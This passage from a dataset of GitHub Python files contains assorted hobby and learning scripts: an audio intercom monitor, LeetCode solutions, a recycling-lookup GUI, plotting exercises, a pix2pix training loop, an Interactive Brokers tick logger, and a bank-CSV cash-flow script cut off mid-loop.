WriteSpeech(data)\n\n    # After Writing The Audio File Call isIntercom() for Intercom detection\n    isIntercom()\n\n    silence = True\n    Time = 0\n    # Restart Stream\n    stream.start_stream()\n    # Clear Previous Audio Data/State\n    all = []\n    listen(silence, Time)\n\n\ndef listen(silence, Time):\n    print(\"[Intercom Monitor] - Actively Monitoring\")\n    while silence:\n        try:\n            input = GetStream(chunk)\n        except Exception as e:\n            print('[Intercom Monitor Error] - ', e)\n            continue\n        rms_value = rms(input)\n        print('[Intercom Monitor] - RMS:', rms_value)\n        if (rms_value > Threshold):\n            print('\\033[92m' +\n                  '[Intercom Monitor] - Threshold Detection' + '\\033[0m')\n            silence = False\n            LastBlock = input\n            print(\"[Intercom Monitor] - Starting Recording\")\n            KeepRecord(TimeoutSignal, LastBlock)\n\n\np = pyaudio.PyAudio()\n\nstream = p.open(format=FORMAT,\n                channels=CHANNELS,\n                rate=RATE,\n                input=True,\n                output=True,\n                frames_per_buffer=chunk)\n\nlisten(silence, Time)\n# sendNotifications()\n","repo_name":"BungeeDesign/smart-intercom","sub_path":"intercom-monitor.py","file_name":"intercom-monitor.py","file_ext":"py","file_size_in_byte":5745,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"41417855169","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time    : 2020/4/20 17:48\n# @Author  : Fhh\n# @File    : 1221.py\n# Good good study,day day up!\n\"\"\"在一个“平衡字符串”中，'L' 和 'R' 字符的数量是相同的。\n给出一个平衡字符串 s，请你将它分割成尽可能多的平衡字符串。\n返回可以通过分割得到的平衡字符串的最大数量。\n示例 1：\n输入：s = \"RLRRLLRLRL\"\n输出：4\n解释：s 可以分割为 \"RL\", \"RRLL\", \"RL\", \"RL\", 每个子字符串中都包含相同数量的 'L' 和 'R'。\n示例 2：\n输入：s = \"RLLLLRRRLR\"\n输出：3\n解释：s 可以分割为 \"RL\", \"LLLRRR\", \"LR\", 每个子字符串中都包含相同数量的 'L' 和 'R'。\n示例 3：\n输入：s = \"LLLLRRRR\"\n输出：1\n解释：s 只能保持原样 \"LLLLRRRR\".\n提示：\n1 <= s.length <= 1000\ns[i] = 'L' 或 'R'\n\"\"\"\n\n\nclass Solution:\n    def balancedStringSplit(self, s: str) -> int:\n        cntl = 0\n        cntr = 0\n        cnt = 0\n        for i in range(len(s)):\n            if cntl == cntr and cntl != 0:\n                cnt += 1\n                cntl = 0\n                cntr = 0\n            if s[i] == 'R':\n                cntr += 1\n            else:\n                cntl += 1\n        return cnt+1\ns=Solution()\nprint(s.balancedStringSplit(\"RLRRLLRLRLLLRRRL\"))","repo_name":"nicefuu/leetCode-python3","sub_path":"1221.py","file_name":"1221.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"74893236854","text":"class Solution:\n    # @param s, an input string\n    # @param p, a pattern string\n    # @return a boolean\n    def isMatch(self, s, p):\n        if s==p:\n            return True\n        \n        endS, endP = len(s), len(p)\n        # ss record the last match till '*'\n        pointS = pointP  = 0\n        # star marks position of '*' in p and ss marks the position s could possibly match up\n        star, ss = -1, 0\n        \n        while pointS<endS:\n            if pointP<endP and p[pointP] in ('?',s[pointS]):\n                pointP += 1\n                pointS += 1\n            elif pointP<endP and p[pointP]=='*':\n                star = pointP\n                pointP += 1\n                ss = pointS\n            elif star!= -1:\n                pointP = star+1\n                ss += 1\n                pointS = ss\n            else:\n                return False\n        \n        # check if the rest of p\n        pp = p[pointP:].replace('*','')\n        \n        return pp==\"\"","repo_name":"z-o-e/LeetCode_OJ_Python","sub_path":"wildcard_matching.py","file_name":"wildcard_matching.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"20631560565","text":"#By - CDR4 \r\n'''\r\nTOPIC - A homemaker just learnded the impact of plastic help her to navigate\r\nthrough the house indetify recyclable plastic and non recyclable waste via helper \r\n'''\r\n\r\n\r\n#-------------Importing Modules-------------\r\n\r\n#Importing Tkinter module as tk \r\nimport tkinter as tk \r\nfrom tkinter import messagebox\r\n#Importing Os module\r\nimport os \r\n\r\n\r\n#------------Functions(BACKEND)---------\r\n\r\n\r\n#Points Will be 0 For new user\r\npoints = 0\r\n\r\n#Function For Writing file \r\ndef writeFile(name, data):\r\n    filew = open(name, 'w+') #using w\r\n    filew.write(data)\r\n    filew.close()\r\n\r\n#Function for Reading th existing file\r\ndef readFile(name):\r\n    if os.path.isfile(name):\r\n        filer = open(name, 'r+')\r\n        filer.seek(0, os.SEEK_SET)\r\n        strp = filer.read()\r\n        return int(strp)\r\n    else:\r\n        writeFile(name, '0')\r\n        return 0\r\n#Points Var will be now the points inside the file \r\npoints = readFile('point.txt')\r\n\r\n\r\n\r\n\r\n#loop\r\npoints += 4     \r\n\r\n#If file is not present the new file will be created with the name point.txt\r\nwriteFile('point.txt', str(points))\r\n\r\n\r\n#DATABSE FOR ITEMS AND CITIES \r\n\r\n\r\n# Database of common items and their recyclability status\r\nplastic_items = {\r\n        \"plastic bottle\": \"recyclable\",\r\n        \"plastic bag\": \"non-recyclable\",\r\n        \"plastic container\": \"recyclable\",\r\n        \"newspaper\":\"non-recyclable\",\r\n        \"glass\":\"non-recyclable\",\r\n        \"cloths\":\"non-recyclable\",\r\n        \"Cans\":\"recyclable\",\r\n        \"Garbage\":\"non-recyclable\",\r\n        \"polyethene\":\"non-recyclable\",\r\n        #more items can be added in this database \r\n    \r\n}\r\n# Database of Cities and Dumpsturs Loacation status\r\n\r\ncity = {\r\n        \"mumbai\": '''Thane, Kandivali, Bandra, \r\n        Andheri, ChurchGate ''',\r\n        \"delhi\": '''Gazipur, Tikri Kalan,\r\n          Karol Bagh''',\r\n        \"indore\": \"Bhicholi\",\r\n        \"banglore\":\"Main Street 90ft road\",\r\n        \"chennai\":\"Dumpstur Hub road\"\r\n        #more items can be added in this database\r\n}\r\n\r\n#Function for checking item with database\r\ndef identify_plastic(item):\r\n    return plastic_items.get(item.lower(), \"unknown\")\r\n\r\n\r\n#Function for checking Cities with database\r\ndef indentify_city(area):\r\n    return city.get(area.lower(),\"unknown\")\r\n\r\n#this function is for Checking the recyclability of the item\r\ndef check_plastic():\r\n    item = item_entry.get()\r\n    recyclability = identify_plastic(item)\r\n    if recyclability == \"unknown\":\r\n        result_label.config(text=\"Sorry, I couldn't identify the item.\")\r\n    else:\r\n        result_label.config(text=f\"The {item} is {recyclability}.\")\r\n\r\n#this function is for Fetching Location of the Dumpstur inside a city\r\ndef check_dumpsturs():\r\n    area = area_entry.get()\r\n    dumpsturs = indentify_city(area)\r\n    if dumpsturs == \"unknown\":\r\n        result_label_city.config(text=\"Sorry, I couldn't identify the City.\")\r\n    else:\r\n        result_label_city.config(text=f\"In {area} dumpsturs are in {dumpsturs}.\")\r\n\r\n#Functin for Exit Button || Terminating the program\r\ndef exit_app():\r\n    window.destroy()\r\n\r\n\r\n\r\n\r\n# ------ GUI DESIGN (FrontEnd) --------\r\n\r\n\r\n# Creating the main window\r\nwindow = tk.Tk()\r\nwindow.title(\"Plastic Waste Sorting Assistant\")\r\nwindow.geometry(\"400x400+10+20\")\r\n\r\n# Creating and placing widgets\r\nlabel = tk.Label(window, text=\"Enter the type of plastic item you have:\")\r\nlabel.pack(pady=10)\r\n\r\nitem_entry = tk.Entry(window)\r\nitem_entry.pack(pady=5)\r\n\r\ncheck_button = tk.Button(window, text=\"Check\", command=check_plastic)\r\ncheck_button.pack(pady=5)\r\n\r\nresult_label = tk.Label(window, text=\"\")\r\nresult_label.pack(pady=10)\r\n\r\nlabel = tk.Label(window, text=\"Enter Your location for your near by dumpsturs:\")\r\nlabel.pack(pady=10)\r\n\r\narea_entry = tk.Entry(window)\r\narea_entry.pack(pady=5)\r\n\r\ncheck_button_city = tk.Button(window, text=\"Check For Dumpsturs\", command=check_dumpsturs)\r\ncheck_button_city.pack(pady=5)\r\n\r\nresult_label_city = tk.Label(window, text=\"\")\r\nresult_label_city.pack(pady=5)\r\n\r\nexit_button = tk.Button(window, text=\"Exit\", command=exit_app)\r\nexit_button.pack(pady=10)\r\n\r\nlabel_points = tk.Label(window, text=f\"Total Points : {points}\")\r\nlabel_points.pack(pady=10)\r\n\r\n\r\n# Start the main event loop\r\nwindow.mainloop()","repo_name":"Aarav-Nahta/Plastic-Waste-Classifier-2nd-Prize-Technovation","sub_path":"WasteClassifier.py","file_name":"WasteClassifier.py","file_ext":"py","file_size_in_byte":4228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"69947401658","text":"import pandas as pd # Datensets\n\nimport numpy as np # Data Manipulation\n\nimport os # File System\n\nimport matplotlib.pyplot as plt # Library for Plotting\n\nfrom mpl_toolkits.mplot3d import Axes3D  # noqa: F401 unused import\n\nimport seaborn as sns # Library for Plotting\n\nsns.set # make plots look nicer\n\nsns.set_palette(\"husl\")\n\nimport warnings\n\nwarnings.filterwarnings('ignore')\n\n# Plot inside Notebooks\n\n# Read in Data\n\ndata = pd.read_csv(\"../input/avocado_clean.csv\", parse_dates = ['Date'])\n\ndata = data[data.region != \"TotalUS\"]\ndata.head()\n# Create Sample Dataset\n\n\n\ntestcolumns = [\"Date\", \"Volume\", \"Name\", \"Price\", \"42\"]\n\n\n\ntestdata = [\n\n    [\"01-01-2019\", 100, \"Redhat\", 20, 42],    [\"01-01-2019\", 200, \"Pop\", 10, 42],    [\"01-01-2019\", 300, \"Mint\", 5, 42],    [\"01-01-2019\", 400, \"Arch\", 2.5, 42],\n\n    [\"01-01-2019\", 500, \"Suse\", 1.25, 42],    [\"02-01-2019\", 100, \"Redhat\", 20, 42],    [\"02-01-2019\", 100, \"Pop\", 12, 42],    [\"02-01-2019\", 500, \"Mint\", 5, 42],\n\n    [\"02-01-2019\", 400, \"Arch\", 4.5, 42],    [\"02-01-2019\", 200, \"Suse\", 1.25, 42],    [\"03-01-2019\", 100, \"Redhat\", 25, 42],    [\"03-01-2019\", 500, \"Pop\", 14, 42],\n\n    [\"03-01-2019\", 300, \"Mint\", 8, 42],    [\"03-01-2019\", 200, \"Arch\", 2.5, 42],    [\"03-01-2019\", 200, \"Suse\", 1.25, 42],    [\"04-01-2019\", 100, \"Redhat\", 20, 42],\n\n    [\"04-01-2019\", 600, \"Pop\", 18, 42],    [\"04-01-2019\", 100, \"Mint\", 5, 42],    [\"04-01-2019\", 100, \"Arch\", 2.5, 42],    [\"04-01-2019\", 400, \"Suse\", 10.25, 42],\n\n    [\"05-01-2019\", 100, \"Redhat\", 20, 42],    [\"05-01-2019\", 800, \"Pop\", 26, 42],    [\"05-01-2019\", 500, \"Mint\", 5, 42],    [\"05-01-2019\", 200, \"Arch\", 2.5, 42],\n\n    [\"05-01-2019\", 500, \"Suse\", 1.25, 42]\n\n]\n\n\n\ntestdata = pd.DataFrame(columns = testcolumns, data = testdata)\n# Example\n\nfig, ax = plt.subplots(figsize=(15, 5)) # Size of Plot\n\nax = sns.lineplot(x=\"Date\", y=\"Volume\", data=testdata)\n\nplt.show()\n#ToDo: Plot Data by time and price\n\nfig, ax = plt.subplots(figsize=(15, 5)) # Size of Plot\n\nax = sns.lineplot(x=\"Date\", y=\"AveragePrice\", style = \"type\", data=data)\n\nplt.show()\n#ToDo: Plot Data by time and Volume/Sales\n\nfig, ax = plt.subplots(figsize=(15, 5)) # Size of Plot\n\nax = sns.lineplot(x=\"Date\", y=\"Total Volume\", hue=\"type\", data=data)\n\nplt.show()\n# Example\n\nfig, ax = plt.subplots(figsize=(15, 5)) # Size of Plot\n\nax = sns.lineplot(x=\"Date\", y=\"Volume\", hue=\"Name\", data=testdata)\n\nplt.show()\n#ToDo: Plot Data by time and price and type with style\n\n#ToDo: Plot Data by time and price and type with hue\n\n# Plotting several lines into one plot:\n\nfig, ax = plt.subplots(figsize=(25, 10))\n\nax = sns.lineplot(x=\"Date\", y=\"Volume\",data=testdata, label=\"VOL\")\n\nax = sns.lineplot(x=\"Date\", y=\"Price\",data=testdata, label = \"PR\")\n\nax = sns.lineplot(x=\"Date\", y=\"42\",data=testdata, label = \"42\")\n\nplt.legend()\n\nplt.show()\n#ToDo: Plot date and volume of S, L and XL Avocados in one graph\n\n#ToDo: Plot date and volume of S, L and XL Bags in one graph\n\n# Splitting Data\n\nredhatdata = testdata[testdata[\"Name\"] == \"Redhat\"]\n\npopdata = testdata[testdata[\"Name\"] == \"Pop\"]\n\n\n\n# plot first data\n\nfig, ax = plt.subplots(figsize=(10, 5))\n\nax = sns.lineplot(x=\"Date\", y=\"Price\",data=redhatdata, label=\"Redhat\")\n\nplt.legend()\n\nplt.show()\n\n\n\n#plot second data\n\nfig, ax = plt.subplots(figsize=(10, 5))\n\nax = sns.lineplot(x=\"Date\", y=\"Price\",data=popdata, label=\"Pop_OS!\")\n\nplt.legend()\n\nplt.show()\n#ToDo: Plot a graph time and Volume for organic and conventional avocados seperately\n\n#plotting bars\n\nfig, ax = plt.subplots(figsize=(10, 5))\n\nax = sns.barplot(x=\"Date\", y=\"Price\",hue=\"Name\", data=testdata)\n\nplt.legend()\n\nplt.show()\n# ToDo: Plot a barchart with total volume and year, seperate by type\n\n# ToDo: Plot a barchart with type and real price, seperate by year\n\n# sample scatterplot\n\nfig, ax = plt.subplots(figsize=(25, 10))\n\nax = sns.scatterplot(x=\"Volume\", y=\"Price\", data=testdata)\n\nplt.legend()\n\nplt.show()\n# ToDo: Scatter the data by S volume and L Volume\n\n# sample scatterplot\n\nfig, ax = plt.subplots(figsize=(25, 10))\n\nax = sns.scatterplot(x=\"Volume\", y=\"Price\", hue=\"Name\", size = \"Volume\", sizes=(10, 400), data=testdata)\n\nplt.legend()\n\nplt.show()\n# ToDo: Scatter the data by S and L, seperate by year and AveragePrice\n\n# ToDo: Scatter by S and L, seperate by region and averageprice\n# A huge plot: (Double Klick for Zoom)\n\nfig, ax = plt.subplots(figsize=(80, 10))\n\nax = sns.scatterplot(x=\"Price\", y=\"Volume\",size=\"Volume\", hue=\"Name\", sizes=(10, 400), data=testdata)\n\nplt.legend()\n\nplt.show()\n# ToDo: Plot a large graph each for S, L and XL by region. You may seperate\n\n# 42 zu ersetzen:\n\na1 = [1, \"42\"] #Ergebnis 1\n\na2 = [2, 42] #Ergebnis 2\n\na3 = [3, 42] #Ergebnis 3\n\na4 = [4, 42] #Ergebnis ...\n\na5 = [5, \"42\"]\n\na6 = [6, \"42\"]\n\na7 = [7, 42]\n\na8 = [8, 42]\n\na9 = [9, 42]\n\na10 = [10, 42]\n\na11 = [11, \"42\"]\n\n\n\nantworten = [a1,a2,a3,a4,a5,a6, a7, a8, a9, a10, a11]\n\nmeine_antworten = pd.DataFrame(antworten, columns = [\"Id\", \"Category\"])\n\nmeine_antworten.to_csv(\"meine_loesung_Aufgaben2.csv\", index = False)","repo_name":"aorursy/new-nb-5","sub_path":"markusschmitz_04-aufgaben.py","file_name":"markusschmitz_04-aufgaben.py","file_ext":"py","file_size_in_byte":4983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"22925665369","text":"# num=input(\"Enter your Number :\")\n# num=int(num);\n\n# if num%2==0 :\n#     print(\"the number is odd\");\n# else :\n#       print(\"the number is even\");\nbarakalankai=[\"koushik\",\"sumanta\",\"adwaitya\",\"arnab\"];\nbelda=[\"akash\",\"subhadip\",\"anugata\",\"bisu\"];\nberhampur=[\"debashis\",\"sentu\",\"aashutosh\",\"anubrata\"];\nname=input(\"Enter a name :\");\nif name in barakalankai:\n    print(\"barakalankai\");\nelif name in belda:\n    print(\"belda\");\nelif name in berhampur:\n    print(\"berhampore\");\n","repo_name":"soumen20220921/demo1","sub_path":"if-else.py","file_name":"if-else.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"33737980316","text":"import random\r\nfrom numpy import short\r\nimport plotly.figure_factory as pff\r\n\r\ncount = []\r\ndiceReserve = []\r\n\r\nfor i in range(0,100):\r\n    dice = random.randint(1,6)\r\n    dice2 = random.randint(1,6)\r\n    diceReserve.append(dice+dice2)\r\n    count.append(i)\r\n\r\nfig = pff.create_distplot(\r\n    [diceReserve],['reserved']\r\n)\r\nfig.show()","repo_name":"hababi558/class108","sub_path":"dice.py","file_name":"dice.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"44222927818","text":"import torch\nimport torch.nn as nn\nfrom PIL import Image\nfrom torch.utils.data import Dataset\nimport numpy as np\nimport os\ntorch.manual_seed(0)\nfrom tqdm.auto import tqdm\nfrom torchvision import transforms\nfrom torchvision.utils import make_grid\nfrom torch.utils.data import DataLoader\nimport matplotlib.pyplot as plt\nimport skimage\nimport cv2\nfrom skimage import io, color\nfrom Generator import Generator\nfrom Discriminator import Discriminator\nfrom utils import ColorDataset\n\nadv_criterion = nn.BCEWithLogitsLoss() \nrecon_criterion = nn.L1Loss() \nlambda_recon = 200\n\nn_epochs = 100\ninput_dim = 1\noutput_dim = 2\nreal_dim = 3\ndisplay_step = 200\nbatch_size = 4\nlr = 0.0002\ntarget_shape = 256\ndevice = 'cuda'\n#########################Generator Loss ########################################\ndef get_gen_loss(gen, disc, real, condition, adv_criterion, recon_criterion, lambda_recon):\n\n    fake = gen(condition)\n    fake_disc = disc(fake, condition)\n    gen_adv_loss = adv_criterion(fake_disc, torch.ones_like(fake_disc))\n    gen_rec_loss = recon_criterion(real, fake)\n    gen_loss = gen_adv_loss + lambda_recon * gen_rec_loss\n\n    return gen_loss\n\n############################# Train Function ############################################\ndef train(save_model=False):\n\n\n    '''\n    function taken and modified from the course: Apply Generative Adverserial Networks by DeepLearning.ai on coursera\n\n    '''\n    mean_generator_loss = 0\n    mean_discriminator_loss = 0\n    dataloader = DataLoader(dataset, batch_size=batch_size, shuffle=True)\n    cur_step = 0\n\n    for epoch in range(n_epochs):\n        # Dataloader returns the batches\n        for ab, gray in tqdm(dataloader):\n\n            #real = nn.functional.interpolate(real, size=target_shape)\n            cur_batch_size = len(gray)\n            condition = gray.to(device)\n            real = ab.to(device)\n\n            ### Update discriminator ###\n            disc_opt.zero_grad() # Zero out the gradient before backpropagation\n            with torch.no_grad():\n                fake = gen(condition)\n            disc_fake_hat = disc(fake.detach(), condition) # Detach generator\n            disc_fake_loss = adv_criterion(disc_fake_hat, torch.zeros_like(disc_fake_hat))\n            disc_real_hat = disc(real, condition)\n            disc_real_loss = adv_criterion(disc_real_hat, torch.ones_like(disc_real_hat))\n            disc_loss = (disc_fake_loss + disc_real_loss) / 2\n            disc_loss.backward(retain_graph=True) # Update gradients\n            disc_opt.step() # Update optimizer\n\n            ### Update generator ###\n            gen_opt.zero_grad()\n            gen_loss = get_gen_loss(gen, disc, real, condition, adv_criterion, recon_criterion, lambda_recon)\n            gen_loss.backward() # Update gradients\n            gen_opt.step() # Update optimizer\n\n            # Keep track of the average discriminator loss\n            mean_discriminator_loss += disc_loss.item() / display_step\n            # Keep track of the average generator loss\n            mean_generator_loss += gen_loss.item() / display_step\n\n            ### Visualization code ###\n            if cur_step % display_step == 0:\n                if cur_step > 0:\n                    print(f\"Epoch {epoch}: Step {cur_step}: Generator (U-Net) loss: {mean_generator_loss}, Discriminator loss: {mean_discriminator_loss}\")\n                else:\n                    print(\"Pretrained initial state\")\n                \n                f, axrr = plt.subplots(2, batch_size)\n                for i in range(2):\n                    for j in range(batch_size):\n                        x = torch.cat((gray[j],fake.detach().cpu()[j]),0).numpy().transpose((1,2,0))\n                        x[:,:,0:1] = x[:, :, 0:1] * 100\n                        x[:, :, 1:3] = x[:, :, 1:3] * 255 - 128\n\n                        if i == 0:\n                            axrr[i,j].imshow(gray.squeeze().numpy()[j], cmap = \"gray\")\n                        else:\n                            axrr[i,j].imshow(color.lab2rgb(x.astype(np.float64)))\n                plt.show()\n\n\n                mean_generator_loss = 0\n                mean_discriminator_loss = 0\n                # You can change save_model to True if you'd like to save the model\n                if save_model:\n                    torch.save({'gen': gen.state_dict(),\n                        'gen_opt': gen_opt.state_dict(),\n                        'disc': disc.state_dict(),\n                        'disc_opt': disc_opt.state_dict()\n                    }, f\"pix2pix_{cur_step}.pth\")\n            cur_step += 1\n\n\n########################### Weights ##############################\n\ndef weights_init(m):\n    if isinstance(m, nn.Conv2d) or isinstance(m, nn.ConvTranspose2d):\n        torch.nn.init.normal_(m.weight, 0.0, 0.02)\n    if isinstance(m, nn.BatchNorm2d):\n        torch.nn.init.normal_(m.weight, 0.0, 0.02)\n        torch.nn.init.constant_(m.bias, 0)\n\n############ Defining Generator and discriminator ############################\ngen = Generator(input_dim, real_dim).to(device)\ngen_opt = torch.optim.Adam(gen.parameters(), lr=lr)\ndisc = Discriminator(input_dim + output_dim).to(device)\ndisc_opt = torch.optim.Adam(disc.parameters(), lr=lr)\n\n\ngen = gen.apply(weights_init)\ndisc = disc.apply(weights_init)\n\n######################## Dataset Preperation ###################################\ntransform = transforms.Compose([\n    transforms.Resize(256),\n    transforms.RandomHorizontalFlip(0.2),\n    transforms.RandomVerticalFlip(0.2),\n    #transforms.Normalize((0.5,0.5,0.5), (0.5,0.5,0.5))\n    #transforms.ToTensor(),\n])\n\ndataset = ColorDataset(\"./images/tiny-imagenet-200/test/images\", transform=transform)\n\n\n############################ Train #############################\ntrain()\n\n","repo_name":"t3ds/Pix2Pix-Image-Colorization","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"18197670265","text":"import argparse  # command line argument parser\nimport datetime as dt  # date and time functions\nimport time  # time module for timestamping\nimport os  # used to create directories\nimport sys  # used to print a dot to a terminal without new line\n\n# --------ibpy imports ----------------------\nfrom .helpers import createContract\nfrom ib.opt import ibConnection, message\nfrom ib.ext.Contract import Contract\n\n\n# tick type definitions, see IB api manual\npriceTicks = {\n    1: \"bid\",\n    2: \"ask\",\n    4: \"last\",\n    6: \"high\",\n    7: \"low\",\n    9: \"close\",\n    14: \"open\",\n}\nsizeTicks = {0: \"bid\", 3: \"ask\", 5: \"last\", 8: \"volume\"}\n\n\nclass TickLogger(object):\n    \"\"\"class for handling incoming ticks and saving them to file\n    will create a subdirectory 'tickLogs' if needed and start logging\n    to a file with current timestamp in its name.\n    All timestamps in the file are in seconds relative to start of logging\n\n    \"\"\"\n\n    def __init__(self, tws, subscriptions):\n        \"\"\"init class, register handlers\"\"\"\n\n        tws.register(self._priceHandler, message.tickPrice)\n        tws.register(self._sizeHandler, message.tickSize)\n\n        self.subscriptions = subscriptions\n\n        # save starting time of logging. All times will be in seconds relative\n        # to this moment\n        self._startTime = time.time()\n\n        # create data directory if it does not exist\n        if not os.path.exists(\"tickLogs\"):\n            os.mkdir(\"tickLogs\")\n\n        # open data file for writing\n        fileName = \"tickLogs\\\\tickLog_%s.csv\" % dt.datetime.now().strftime(\"%H_%M_%S\")\n        print((\"Logging ticks to \", fileName))\n        self.dataFile = open(fileName, \"w\")\n\n    def _priceHandler(self, msg):\n        \"\"\"price tick handler\"\"\"\n        data = [\n            self.subscriptions[msg.tickerId].m_symbol,\n            \"price\",\n            priceTicks[msg.field],\n            msg.price,\n        ]  # data, second field is price tick type\n        self._writeData(data)\n\n    def _sizeHandler(self, msg):\n        \"\"\"size tick handler\"\"\"\n        data = [\n            self.subscriptions[msg.tickerId].m_symbol,\n            \"size\",\n            sizeTicks[msg.field],\n            msg.size,\n        ]\n        self._writeData(data)\n\n    def _writeData(self, data):\n        \"\"\"write data to log file while adding a timestamp\"\"\"\n        timestamp = \"%.3f\" % (time.time() - self._startTime)  # 1 ms resolution\n        dataLine = \",\".join(str(bit) for bit in [timestamp] + data) + \"\\n\"\n        self.dataFile.write(dataLine)\n\n    def flush(self):\n        \"\"\"commits data to file\"\"\"\n        self.dataFile.flush()\n\n    def close(self):\n        \"\"\"close file in a neat manner\"\"\"\n        print(\"Closing data file\")\n        self.dataFile.close()\n\n\ndef printMessage(msg):\n    \"\"\"function to print all incoming messages from TWS\"\"\"\n    print((\"[msg]:\", msg))\n\n\ndef logTicks(contracts, verbose=False):\n    \"\"\"\n    log ticks from IB to a csv file\n\n    Parameters\n    ----------\n    contracts : ib.ext.Contract objects\n    verbose : print out all tick events\n    \"\"\"\n    # check for correct input\n    assert isinstance(\n        contracts, (list, Contract)\n    ), \"Wrong input, should be a Contract or list of contracts\"\n\n    # ---create subscriptions  dictionary. Keys are subscription ids\n    subscriptions = {}\n    try:\n        for idx, c in enumerate(contracts):\n            subscriptions[idx + 1] = c\n    except TypeError:  # not iterable, one contract provided\n        subscriptions[1] = contracts\n\n    tws = ibConnection()\n    logger = TickLogger(tws, subscriptions)\n\n    if verbose:\n        tws.registerAll(printMessage)\n\n    tws.connect()\n\n    # -------subscribe to data\n    for subId, c in list(subscriptions.items()):\n        assert isinstance(c, Contract), \"Need a Contract object to subscribe\"\n        tws.reqMktData(subId, c, \"\", False)\n\n    # ------start a loop that must be interrupted with Ctrl-C\n    print(\"Press Ctr-C to stop loop\")\n\n    try:\n        while True:\n            time.sleep(2)  # wait a little\n            logger.flush()  # commit data to file\n            sys.stdout.write(\".\")  # print a dot to the screen\n\n    except KeyboardInterrupt:\n        print(\"Interrupted with Ctrl-c\")\n\n    logger.close()\n    tws.disconnect()\n    print(\"All done\")\n\n\n# --------------main script------------------\n\nif __name__ == \"__main__\":\n\n    # -----------parse command line arguments\n    parser = argparse.ArgumentParser(description=\"Log ticks for a set of stocks\")\n\n    parser.add_argument(\"symbols\", help=\"symbols separated by coma: SPY,VXX\")\n    parser.add_argument(\n        \"-v\", \"--verbose\", help=\"show all incoming messages\", action=\"store_true\"\n    )\n\n    args = parser.parse_args()\n\n    symbols = args.symbols.strip().split(\",\")\n    print((\"Logging ticks for:\", symbols))\n\n    contracts = [createContract(symbol) for symbol in symbols]\n\n    logTicks(contracts, verbose=args.verbose)\n","repo_name":"sjev/trading-with-python","sub_path":"lib/interactiveBrokers/tickLogger.py","file_name":"tickLogger.py","file_ext":"py","file_size_in_byte":4877,"program_lang":"python","lang":"en","doc_type":"code","stars":314,"dataset":"github-code","pt":"22"}
+{"seq_id":"27188556701","text":"\n# A2IC\nAA = '12060003'\n# Astronomía\nAS = '3'\n# Computación\nCC = '5'\n# Civil\nCI = '6'\n# Ciencias de los Materiales\nCM = '306'\n# Deportes y Recreativos\nDR = '7'\n# Doctorado Eléctrica\nED = '305'\n# Humanidades\nEH = '8'\n# Idiomas\nEI = '9'\n# Ingeniería e Innovación\nCD = '12060002'\n# Eléctrica\nEL = '10'\n# Escuela\nES = '12'\n# Física\nFI = '13'\n# Geofísica\nGF = '15'\n# Geología\nGL = '16'\n# Industrial\nIN = '19'\n# Matemática\nMA = '21'\n# Mecánica\nME = '22'\n# Minas\nMI = '23'\n# Doctorado en Materiales\nMT = '24'\n# Química y Biotecnología\nBT = '307'\nIQ = '307'\n\n# Departments ID\nDEPARTMENTS = {\n    'AA' : AA,\n    'AS' : AS,\n    'CC' : CC,\n    'CI' : CI,\n    'CM' : CM,\n    'DR' : DR,\n    'ED' : ED,\n    'EH' : EH,\n    'EI' : EI,\n    'CD' : CD,\n    'EL' : EL,\n    'ES' : ES,\n    'FI' : FI,\n    'GF' : GF,\n    'GL' : GL,\n    'IN' : IN,\n    'MA' : MA,\n    'ME' : ME,\n    'MI' : MI,\n    'MT' : MT,\n    'BT' : BT,\n    'IQ' : IQ\n}\n\n# TO DO: Add icon for each department\n# FCFM Icon\nFCFM_ICON = 'https://wikibello.wiki/images/7/71/Fcfm_logo.jpg'","repo_name":"iPolarisu/u-cursed","sub_path":"utilities/constants/departments.py","file_name":"departments.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"37847695068","text":"import csv\nimport matplotlib.pyplot as plt\n\n\n''' Expected achievements of this code:\n1) Be able to read a CSV file including all of my chequing account transactions.\n2) Use AI to recognize which category the transctions fitts (E.G. food, rent...).\n3) Calculate de sum per category.\n4) Print a chart showing the % used per category.\n\nProblems to solve: Im trying to filter just transaction from uber to create another list, but my code\nisn't recognizing the string equality.\n\n'''\n\nMONTH = input(\"Choose a month (e.g. dec22 or nov22): \").lower()\nfile = f\"bmo_{MONTH}.csv\"\nprint('1) Run the code')\nprint(\"2) Plot the Cash Flow's chart\")\nuser_choice = input('Insert your choice:')\ncash_flow_list = []\ntransactions_list = []\nindex = -1\nindex_list = []\ncash_flow = 0\nlist_debit = []\nlist_credit = []\nlist_uber = []\n\ndef sum(transactions):\n    sum_transactions = 0\n    for value in transactions:\n        sum_transactions += float(value)\n    return sum_transactions\n\n\ndef plot(list2, list1):\n    plt.plot(list1, list2, color = 'green', marker='x')\n    plt.title(MONTH + \"'s Cash Flow\")\n    plt.xlabel('N of transactions', fontsize = 12)\n    plt.ylabel('Value', fontsize = 12)\n    plt.grid(True)\n    plt.show()\n\n\nif user_choice == \"1\":\n    with open(file, mode='r') as csv_file:\n        csv_reader = csv.reader(csv_file, delimiter=',')\n        for row in csv_reader:\n                if len(row) > 0:\n                    if index < 1:\n                        pass\n                        index += 1\n                    else:\n                        print(\"\\nTransaction {}: {}\\n\".format(index, row[2:5]))\n                        transaction_value = row[3:4]\n                        transactions_list += transaction_value\n                        print(\"\\nTransactions list= {}\\n\".format(transactions_list))\n                        cash_flow = sum(transactions_list)\n                        cash_flow_list.append(cash_flow)\n                        